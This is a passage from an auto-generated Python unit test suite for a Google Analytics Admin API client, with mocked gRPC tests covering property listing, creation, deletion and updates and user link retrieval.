test_list_properties(request_type=dict)
def test_list_properties_empty_call():
# This test is a coverage failsafe to make sure that totally empty calls,
# i.e. request == None and no flattened fields passed, work.
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport="grpc",
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.list_properties), "__call__") as call:
client.list_properties()
call.assert_called()
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.ListPropertiesRequest()
@pytest.mark.asyncio
async def test_list_properties_async(
transport: str = "grpc_asyncio", request_type=analytics_admin.ListPropertiesRequest
):
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.list_properties), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
analytics_admin.ListPropertiesResponse(
next_page_token="next_page_token_value",
)
)
response = await client.list_properties(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.ListPropertiesRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, pagers.ListPropertiesAsyncPager)
assert response.next_page_token == "next_page_token_value"
@pytest.mark.asyncio
async def test_list_properties_async_from_dict():
await test_list_properties_async(request_type=dict)
def test_list_properties_pager():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials,
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.list_properties), "__call__") as call:
# Set the response to a series of pages.
call.side_effect = (
analytics_admin.ListPropertiesResponse(
properties=[
resources.Property(),
resources.Property(),
resources.Property(),
],
next_page_token="abc",
),
analytics_admin.ListPropertiesResponse(
properties=[], next_page_token="def",
),
analytics_admin.ListPropertiesResponse(
properties=[resources.Property(),], next_page_token="ghi",
),
analytics_admin.ListPropertiesResponse(
properties=[resources.Property(), resources.Property(),],
),
RuntimeError,
)
metadata = ()
pager = client.list_properties(request={})
assert pager._metadata == metadata
results = [i for i in pager]
assert len(results) == 6
assert all(isinstance(i, resources.Property) for i in results)
def test_list_properties_pages():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials,
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.list_properties), "__call__") as call:
# Set the response to a series of pages.
call.side_effect = (
analytics_admin.ListPropertiesResponse(
properties=[
resources.Property(),
resources.Property(),
resources.Property(),
],
next_page_token="abc",
),
analytics_admin.ListPropertiesResponse(
properties=[], next_page_token="def",
),
analytics_admin.ListPropertiesResponse(
properties=[resources.Property(),], next_page_token="ghi",
),
analytics_admin.ListPropertiesResponse(
properties=[resources.Property(), resources.Property(),],
),
RuntimeError,
)
pages = list(client.list_properties(request={}).pages)
for page_, token in zip(pages, ["abc", "def", "ghi", ""]):
assert page_.raw_page.next_page_token == token
@pytest.mark.asyncio
async def test_list_properties_async_pager():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials,
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_properties), "__call__", new_callable=mock.AsyncMock
) as call:
# Set the response to a series of pages.
call.side_effect = (
analytics_admin.ListPropertiesResponse(
properties=[
resources.Property(),
resources.Property(),
resources.Property(),
],
next_page_token="abc",
),
analytics_admin.ListPropertiesResponse(
properties=[], next_page_token="def",
),
analytics_admin.ListPropertiesResponse(
properties=[resources.Property(),], next_page_token="ghi",
),
analytics_admin.ListPropertiesResponse(
properties=[resources.Property(), resources.Property(),],
),
RuntimeError,
)
async_pager = await client.list_properties(request={},)
assert async_pager.next_page_token == "abc"
responses = []
async for response in async_pager:
responses.append(response)
assert len(responses) == 6
assert all(isinstance(i, resources.Property) for i in responses)
@pytest.mark.asyncio
async def test_list_properties_async_pages():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials,
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_properties), "__call__", new_callable=mock.AsyncMock
) as call:
# Set the response to a series of pages.
call.side_effect = (
analytics_admin.ListPropertiesResponse(
properties=[
resources.Property(),
resources.Property(),
resources.Property(),
],
next_page_token="abc",
),
analytics_admin.ListPropertiesResponse(
properties=[], next_page_token="def",
),
analytics_admin.ListPropertiesResponse(
properties=[resources.Property(),], next_page_token="ghi",
),
analytics_admin.ListPropertiesResponse(
properties=[resources.Property(), resources.Property(),],
),
RuntimeError,
)
pages = []
async for page_ in (await client.list_properties(request={})).pages:
pages.append(page_)
for page_, token in zip(pages, ["abc", "def", "ghi", ""]):
assert page_.raw_page.next_page_token == token
def test_create_property(
transport: str = "grpc", request_type=analytics_admin.CreatePropertyRequest
):
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.create_property), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = resources.Property(
name="name_value",
parent="parent_value",
display_name="display_name_value",
industry_category=resources.IndustryCategory.AUTOMOTIVE,
time_zone="time_zone_value",
currency_code="currency_code_value",
service_level=resources.ServiceLevel.GOOGLE_ANALYTICS_STANDARD,
)
response = client.create_property(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.CreatePropertyRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, resources.Property)
assert response.name == "name_value"
assert response.parent == "parent_value"
assert response.display_name == "display_name_value"
assert response.industry_category == resources.IndustryCategory.AUTOMOTIVE
assert response.time_zone == "time_zone_value"
assert response.currency_code == "currency_code_value"
assert response.service_level == resources.ServiceLevel.GOOGLE_ANALYTICS_STANDARD
def test_create_property_from_dict():
test_create_property(request_type=dict)
def test_create_property_empty_call():
# This test is a coverage failsafe to make sure that totally empty calls,
# i.e. request == None and no flattened fields passed, work.
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport="grpc",
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.create_property), "__call__") as call:
client.create_property()
call.assert_called()
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.CreatePropertyRequest()
@pytest.mark.asyncio
async def test_create_property_async(
transport: str = "grpc_asyncio", request_type=analytics_admin.CreatePropertyRequest
):
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.create_property), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
resources.Property(
name="name_value",
parent="parent_value",
display_name="display_name_value",
industry_category=resources.IndustryCategory.AUTOMOTIVE,
time_zone="time_zone_value",
currency_code="currency_code_value",
service_level=resources.ServiceLevel.GOOGLE_ANALYTICS_STANDARD,
)
)
response = await client.create_property(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.CreatePropertyRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, resources.Property)
assert response.name == "name_value"
assert response.parent == "parent_value"
assert response.display_name == "display_name_value"
assert response.industry_category == resources.IndustryCategory.AUTOMOTIVE
assert response.time_zone == "time_zone_value"
assert response.currency_code == "currency_code_value"
assert response.service_level == resources.ServiceLevel.GOOGLE_ANALYTICS_STANDARD
@pytest.mark.asyncio
async def test_create_property_async_from_dict():
await test_create_property_async(request_type=dict)
def test_create_property_flattened():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.create_property), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = resources.Property()
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
client.create_property(property=resources.Property(name="name_value"),)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0].property == resources.Property(name="name_value")
def test_create_property_flattened_error():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
client.create_property(
analytics_admin.CreatePropertyRequest(),
property=resources.Property(name="name_value"),
)
@pytest.mark.asyncio
async def test_create_property_flattened_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.create_property), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = resources.Property()
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(resources.Property())
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
response = await client.create_property(
property=resources.Property(name="name_value"),
)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0].property == resources.Property(name="name_value")
@pytest.mark.asyncio
async def test_create_property_flattened_error_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
await client.create_property(
analytics_admin.CreatePropertyRequest(),
property=resources.Property(name="name_value"),
)
def test_delete_property(
transport: str = "grpc", request_type=analytics_admin.DeletePropertyRequest
):
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.delete_property), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = resources.Property(
name="name_value",
parent="parent_value",
display_name="display_name_value",
industry_category=resources.IndustryCategory.AUTOMOTIVE,
time_zone="time_zone_value",
currency_code="currency_code_value",
service_level=resources.ServiceLevel.GOOGLE_ANALYTICS_STANDARD,
)
response = client.delete_property(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.DeletePropertyRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, resources.Property)
assert response.name == "name_value"
assert response.parent == "parent_value"
assert response.display_name == "display_name_value"
assert response.industry_category == resources.IndustryCategory.AUTOMOTIVE
assert response.time_zone == "time_zone_value"
assert response.currency_code == "currency_code_value"
assert response.service_level == resources.ServiceLevel.GOOGLE_ANALYTICS_STANDARD
def test_delete_property_from_dict():
test_delete_property(request_type=dict)
def test_delete_property_empty_call():
# This test is a coverage failsafe to make sure that totally empty calls,
# i.e. request == None and no flattened fields passed, work.
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport="grpc",
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.delete_property), "__call__") as call:
client.delete_property()
call.assert_called()
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.DeletePropertyRequest()
@pytest.mark.asyncio
async def test_delete_property_async(
transport: str = "grpc_asyncio", request_type=analytics_admin.DeletePropertyRequest
):
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.delete_property), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
resources.Property(
name="name_value",
parent="parent_value",
display_name="display_name_value",
industry_category=resources.IndustryCategory.AUTOMOTIVE,
time_zone="time_zone_value",
currency_code="currency_code_value",
service_level=resources.ServiceLevel.GOOGLE_ANALYTICS_STANDARD,
)
)
response = await client.delete_property(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.DeletePropertyRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, resources.Property)
assert response.name == "name_value"
assert response.parent == "parent_value"
assert response.display_name == "display_name_value"
assert response.industry_category == resources.IndustryCategory.AUTOMOTIVE
assert response.time_zone == "time_zone_value"
assert response.currency_code == "currency_code_value"
assert response.service_level == resources.ServiceLevel.GOOGLE_ANALYTICS_STANDARD
@pytest.mark.asyncio
async def test_delete_property_async_from_dict():
await test_delete_property_async(request_type=dict)
def test_delete_property_field_headers():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = analytics_admin.DeletePropertyRequest()
request.name = "name/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.delete_property), "__call__") as call:
call.return_value = resources.Property()
client.delete_property(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "name=name/value",) in kw["metadata"]
@pytest.mark.asyncio
async def test_delete_property_field_headers_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = analytics_admin.DeletePropertyRequest()
request.name = "name/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.delete_property), "__call__") as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(resources.Property())
await client.delete_property(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "name=name/value",) in kw["metadata"]
def test_delete_property_flattened():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.delete_property), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = resources.Property()
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
client.delete_property(name="name_value",)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0].name == "name_value"
def test_delete_property_flattened_error():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
client.delete_property(
analytics_admin.DeletePropertyRequest(), name="name_value",
)
@pytest.mark.asyncio
async def test_delete_property_flattened_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.delete_property), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = resources.Property()
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(resources.Property())
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
response = await client.delete_property(name="name_value",)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0].name == "name_value"
@pytest.mark.asyncio
async def test_delete_property_flattened_error_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
await client.delete_property(
analytics_admin.DeletePropertyRequest(), name="name_value",
)
def test_update_property(
transport: str = "grpc", request_type=analytics_admin.UpdatePropertyRequest
):
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.update_property), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = resources.Property(
name="name_value",
parent="parent_value",
display_name="display_name_value",
industry_category=resources.IndustryCategory.AUTOMOTIVE,
time_zone="time_zone_value",
currency_code="currency_code_value",
service_level=resources.ServiceLevel.GOOGLE_ANALYTICS_STANDARD,
)
response = client.update_property(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.UpdatePropertyRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, resources.Property)
assert response.name == "name_value"
assert response.parent == "parent_value"
assert response.display_name == "display_name_value"
assert response.industry_category == resources.IndustryCategory.AUTOMOTIVE
assert response.time_zone == "time_zone_value"
assert response.currency_code == "currency_code_value"
assert response.service_level == resources.ServiceLevel.GOOGLE_ANALYTICS_STANDARD
def test_update_property_from_dict():
test_update_property(request_type=dict)
def test_update_property_empty_call():
# This test is a coverage failsafe to make sure that totally empty calls,
# i.e. request == None and no flattened fields passed, work.
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport="grpc",
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.update_property), "__call__") as call:
client.update_property()
call.assert_called()
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.UpdatePropertyRequest()
@pytest.mark.asyncio
async def test_update_property_async(
transport: str = "grpc_asyncio", request_type=analytics_admin.UpdatePropertyRequest
):
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.update_property), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
resources.Property(
name="name_value",
parent="parent_value",
display_name="display_name_value",
industry_category=resources.IndustryCategory.AUTOMOTIVE,
time_zone="time_zone_value",
currency_code="currency_code_value",
service_level=resources.ServiceLevel.GOOGLE_ANALYTICS_STANDARD,
)
)
response = await client.update_property(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.UpdatePropertyRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, resources.Property)
assert response.name == "name_value"
assert response.parent == "parent_value"
assert response.display_name == "display_name_value"
assert response.industry_category == resources.IndustryCategory.AUTOMOTIVE
assert response.time_zone == "time_zone_value"
assert response.currency_code == "currency_code_value"
assert response.service_level == resources.ServiceLevel.GOOGLE_ANALYTICS_STANDARD
@pytest.mark.asyncio
async def test_update_property_async_from_dict():
await test_update_property_async(request_type=dict)
def test_update_property_field_headers():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = analytics_admin.UpdatePropertyRequest()
request.property.name = "property.name/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.update_property), "__call__") as call:
call.return_value = resources.Property()
client.update_property(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "property.name=property.name/value",) in kw[
"metadata"
]
@pytest.mark.asyncio
async def test_update_property_field_headers_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = analytics_admin.UpdatePropertyRequest()
request.property.name = "property.name/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.update_property), "__call__") as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(resources.Property())
await client.update_property(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "property.name=property.name/value",) in kw[
"metadata"
]
def test_update_property_flattened():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.update_property), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = resources.Property()
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
client.update_property(
property=resources.Property(name="name_value"),
update_mask=field_mask_pb2.FieldMask(paths=["paths_value"]),
)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0].property == resources.Property(name="name_value")
assert args[0].update_mask == field_mask_pb2.FieldMask(paths=["paths_value"])
def test_update_property_flattened_error():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
client.update_property(
analytics_admin.UpdatePropertyRequest(),
property=resources.Property(name="name_value"),
update_mask=field_mask_pb2.FieldMask(paths=["paths_value"]),
)
@pytest.mark.asyncio
async def test_update_property_flattened_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.update_property), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = resources.Property()
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(resources.Property())
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
response = await client.update_property(
property=resources.Property(name="name_value"),
update_mask=field_mask_pb2.FieldMask(paths=["paths_value"]),
)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0].property == resources.Property(name="name_value")
assert args[0].update_mask == field_mask_pb2.FieldMask(paths=["paths_value"])
@pytest.mark.asyncio
async def test_update_property_flattened_error_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
await client.update_property(
analytics_admin.UpdatePropertyRequest(),
property=resources.Property(name="name_value"),
update_mask=field_mask_pb2.FieldMask(paths=["paths_value"]),
)
def test_get_user_link(
transport: str = "grpc", request_type=analytics_admin.GetUserLinkRequest
):
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.get_user_link), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = resources.UserLink(
name="name_value",
email_address="email_address_value",
direct_roles=["direct_roles_value"],
)
response = client.get_user_link(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.GetUserLinkRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, resources.UserLink)
assert response.name == "name_value"
assert response.email_address == "email_address_value"
assert response.direct_roles == ["direct_roles_value"]
def test_get_user_link_from_dict():
test_get_user_link(request_type=dict)
def test_get_user_link_empty_call():
# This test is a coverage failsafe to make sure that totally empty calls,
# i.e. request == None and no flattened fields passed, work.
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport="grpc",
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.get_user_link), "__call__") as call:
client.get_user_link()
call.assert_called()
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.GetUserLinkRequest()
@pytest.mark.asyncio
async def test_get_user_link_async(
transport: str = "grpc_asyncio", request_type=analytics_admin.GetUserLinkRequest
):
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.get_user_link), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
resources.UserLink(
name="name_value",
email_address="email_address_value",
direct_roles=["direct_roles_value"],
)
)
response = await client.get_user_link(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.GetUserLinkRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, resources.UserLink)
assert response.name == "name_value"
assert response.email_address == "email_address_value"
assert response.direct_roles == ["direct_roles_value"]
@pytest.mark.asyncio
async def test_get_user_link_async_from_dict():
await test_get_user_link_async(request_type=dict)
def test_get_user_link_field_headers():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = analytics_admin.GetUserLinkRequest()
request.name = "name/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.get_user_link), "__call__") as call:
call.return_value = resources.UserLink()
client.get_user_link(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "name=name/value",) in kw["metadata"]
@pytest.mark.asyncio
async def test_get_user_link_field_headers_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = analytics_admin.GetUserLinkRequest()
request.name = "name/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.get_user_link), "__call__") as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(resources.UserLink())
await client.get_user_link(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "name=name/value",) in kw["metadata"]
def test_get_user_link_flattened():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.get_user_link), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = resources.UserLink()
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
client.get_user_link(name="name_value",)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0].name == "name_value"
def test_get_user_link_flattened_error():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
client.get_user_link(
analytics_admin.GetUserLinkRequest(), name="name_value",
)
@pytest.mark.asyncio
async def test_get_user_link_flattened_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.get_user_link), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = resources.UserLink()
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(resources.UserLink())
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
response = await client.get_user_link(name="name_value",)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0].name == "name_value"
@pytest.mark.asyncio
async def test_get_user_link_flattened_error_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
await client.get_user_link(
analytics_admin.GetUserLinkRequest(), name="name_value",
)
def test_batch_get_user_links(
transport: str = "grpc", request_type=analytics_admin.BatchGetUserLinksRequest
):
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.batch_get_user_links), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = analytics_admin.BatchGetUserLinksResponse()
response = client.batch_get_user_links(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.BatchGetUserLinksRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, analytics_admin.BatchGetUserLinksResponse)
def test_batch_get_user_links_from_dict():
test_batch_get_user_links(request_type=dict)
def test_batch_get_user_links_empty_call():
# This test is a coverage failsafe to make sure that totally empty calls,
# i.e. request == None and no flattened fields passed, work.
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport="grpc",
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.batch_get_user_links), "__call__"
) as call:
client.batch_get_user_links()
